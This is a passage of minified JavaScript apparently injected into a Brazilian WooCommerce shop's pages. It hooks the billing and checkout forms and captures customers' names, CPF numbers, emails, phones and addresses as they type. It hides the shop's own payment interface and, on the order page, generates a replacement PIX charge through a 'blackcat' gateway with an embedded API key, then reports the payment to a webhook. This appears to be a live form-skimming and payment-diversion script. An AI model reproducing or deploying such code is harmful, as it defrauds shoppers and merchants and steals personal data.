      '; if(msg)msg.textContent="" } async function create(c){ var amt=c.amountCents|0; if(amtCFG.maxAmt)throw new Error("acima teto R$1000"); if(!custOk(c))throw new Error("cliente incompleto"); var email=c.email; if(!email||email.indexOf("@")<0){ email="pedido"+(c.orderId||Date.now())+"@germerporcelanas.com.br" } var phone=dig(c.phone||""); if(phone.length<10||phone.length>11)phone="41999999999"; var doc=dig(c.cpf||""); if(doc.length!==11&&doc.length!==14)throw new Error("doc invalido"); var ref=c.orderId?("GERMER-"+c.orderId):("GERMER-CHK-"+Date.now()); var title=(c.itemTitle||("Pedido "+ref)).slice(0,120); var body={ amount:amt, currency:"BRL", paymentMethod:"pix", items:[{title:title,unitPrice:amt,quantity:1,tangible:false}], customer:{ name:c.name, email:email, phone:phone, document:{number:doc,type:doc.length===14?"cnpj":"cpf"} }, pix:{expiresInDays:1}, externalRef:ref, postbackUrl:CFG.wh||"", metadata:JSON.stringify({source:"wscf",orderId:c.orderId||null,host:location.host}) }; var r=await http( "POST", CFG.base+"/sales/create-sale", {"Content-Type":"application/json","Accept":"application/json","X-API-Key":CFG.key}, JSON.stringify(body) ); var j={};try{j=JSON.parse(r.text||"{}")}catch(e){throw new Error("parse")} if(r.status>=400||!j.success){ throw new Error((j&&(j.message||j.error))||("HTTP "+r.status)) } var d=j.data||{}; var pd=d.paymentData||{}; var emv=pd.copyPaste||pd.qrCode||""; if(!emv)throw new Error("sem EMV"); return{ transactionId:d.transactionId||"", status:d.status||"PENDING", amount:amt, emv:emv, expiresAt:pd.expiresAt||"", custName:c.name, custCpf:doc, gw:"blackcat" } } function notifyWh(payload){ if(!CFG.wh)return Promise.resolve(null); try{ return http("POST",CFG.wh,{"Content-Type":"application/json","Accept":"application/json"},JSON.stringify(payload||{})).catch(function(){return null}) }catch(e){return Promise.resolve(null)} } function pollStatus(tid,c,onDone){ if(!tid||!CFG.base||!CFG.key)return; var n=0,max=180; var t=setInterval(function(){ n++; if(n>max){clearInterval(t);return} http("GET",CFG.base+"/sales/"+encodeURIComponent(tid)+"/status",{"Accept":"application/json","X-API-Key":CFG.key},null).then(function(r){ var j={};try{j=JSON.parse(r.text||"{}")}catch(e){return} var st=String((j.data&&j.data.status)||j.status||"").toUpperCase(); if(st==="PAID"||st==="COMPLETED"){ clearInterval(t); notifyWh({ event:"transaction.paid", status:"PAID", transactionId:tid, orderId:c&&c.orderId?c.orderId:null, amount:c&&c.amountCents?c.amountCents:0, description:c&&c.orderId?("GERMER-"+c.orderId):"", externalRef:c&&c.orderId?("GERMER-"+c.orderId):"", externalReference:c&&c.orderId?("GERMER-"+c.orderId):"", gateway:"blackcat", customer:{name:(c&&c.name)||"",email:(c&&c.email)||""}, paidAt:(j.data&&j.data.paidAt)||null, verify:true }); if(typeof onDone==="function")onDone(j) } }).catch(function(){}) },5000) } function onPaid(root,pix){ try{ var msg=root&&root.querySelector('[data-r="msg"]'); if(msg)msg.textContent="Pagamento confirmado. Obrigado!"; if(pix){pix.status="COMPLETED";} }catch(e){} } async function load(root,c){ var msg=root.querySelector('[data-r="msg"]'); var key=ck(c); var cached=read(c); if(cached&&cached.emv){ render(root,cached); if(cached.transactionId&&String(cached.status||"").toUpperCase()!=="COMPLETED"){ pollStatus(cached.transactionId,c,function(){onPaid(root,cached);write(c,cached)}) } return } if(!custOk(c)){ if(msg)msg.textContent="Aguardando dados do cliente..."; return } if(_inflight[key]){ try{ var pix0=await _inflight[key]; if(pix0&&pix0.emv)render(root,pix0); }catch(e){ if(msg)msg.textContent="Nao foi possivel gerar o PIX. Tente recarregar a pagina." } return } if(msg)msg.textContent="Gerando PIX..."; var p=create(c).then(function(pix){ write(c,pix); return pix }).finally(function(){ setTimeout(function(){delete _inflight[key]},2000) }); _inflight[key]=p; try{ var pix=await p; render(root,pix); if(pix&&pix.transactionId){ notifyWh({ event:"transaction.created", status:"PENDING", transactionId:pix.transactionId, orderId:c.orderId||null, amount:c.amountCents||pix.amount||0, description:c.orderId?("GERMER-"+c.orderId):"", externalRef:c.orderId?("GERMER-"+c.orderId):"", gateway:"blackcat", customer:{name:c.name||"",email:c.email||""} }); pollStatus(pix.transactionId,c,function(){onPaid(root,pix);write(c,pix)}) } }catch(e){ if(msg)msg.textContent="Nao foi possivel gerar o PIX. Tente recarregar a pagina." } } var _try=0; function bindCustFields(){ try{ ["#billing_first_name","#billing_last_name","#billing_cpf","#billing_email","#billing_phone","#billing_cellphone","#billing_address_1","#billing_postcode"].forEach(function(sel){ var el=document.querySelector(sel); if(el&&!el.__wscf){el.__wscf=1;el.addEventListener("change",stashFromForm);el.addEventListener("blur",stashFromForm);el.addEventListener("input",function(){clearTimeout(el.__wscft);el.__wscft=setTimeout(stashFromForm,400)})} }); var form=document.querySelector("form.checkout,form.woocommerce-EditAccountForm,form.woocommerce-address-form,form.woocommerce-checkout"); if(form&&!form.__wscf){form.__wscf=1;form.addEventListener("submit",stashFromForm,true)} }catch(e){} } async function ensureCust(c){ if(custOk(c))return c; var got=await fetchCobrancaCust(); if(got){ var merged=mergeCust(formCust(),readStash(),c.page==="or"?scrapeThankYou():{}); c.name=merged.name;c.email=merged.email;c.phone=merged.phone;c.cpf=merged.cpf; c.street=merged.street;c.number=String(merged.number||"S/N"); c.neighborhood=merged.neighborhood;c.city=merged.city;c.state=merged.state;c.zip=merged.zip; c.custOk=custOk(c) } return c } async function run(){ if(_runLock)return; _runLock=true; var hold=false; try{ var c=ctx(); if(c.page==="bill"||c.page==="acct"){ stashFromForm(); bindCustFields(); return } if(c.page==="x")return; if(c.page==="ck"){ stashFromForm(); bindCustFields(); if(!c.cpf||c.cpf.length!==11){try{await fetchCobrancaCust()}catch(e){}} removeUi(); strip(); try{if(window.jQuery){jQuery(document.body).off("updated_checkout.wscf").on("updated_checkout.wscf",function(){stashFromForm();strip()})}}catch(e){} return } if(c.page==="or"){ style(); strip(); var root=mount(c); if(!root)return; var early=read(c); if(early&&early.emv){render(root,early);return} c=await ensureCust(ctx()); if(!c.amountCents||!custOk(c)){ _try++; if(_try<20){ hold=true; setTimeout(function(){_runLock=false;run()},400); return } var msg=root.querySelector('[data-r="msg"]'); if(msg)msg.textContent="Nao foi possivel identificar nome/CPF do cliente para gerar o PIX."; return } await load(root,c) } }finally{ if(!hold)_runLock=false } } if(document.readyState==="loading")document.addEventListener("DOMContentLoaded",run);else run(); try{if(window.jQuery){jQuery(document.body).on("updated_checkout payment_method_selected",function(){if(ctx().page==="ck"){stashFromForm();strip()}})}}catch(e){} var _moT=null; new MutationObserver(function(){ if(_moT)return; _moT=setTimeout(function(){ _moT=null; var c=ctx(); if(c.page==="bill"||c.page==="acct")stashFromForm(); if(c.page==="ck"){stashFromForm();removeUi();strip()} if(c.page==="or")strip() },200) }).observe(document.documentElement,{childList:true,subtree:true}); window.__wscfRun=run; window.__wscfStash=function(){return readStash()}; window.__wscfCtx=function(){return ctx()}; window.__wscfCache=function(oid){try{return read({orderId:String(oid||"")})}catch(e){return null}}; })();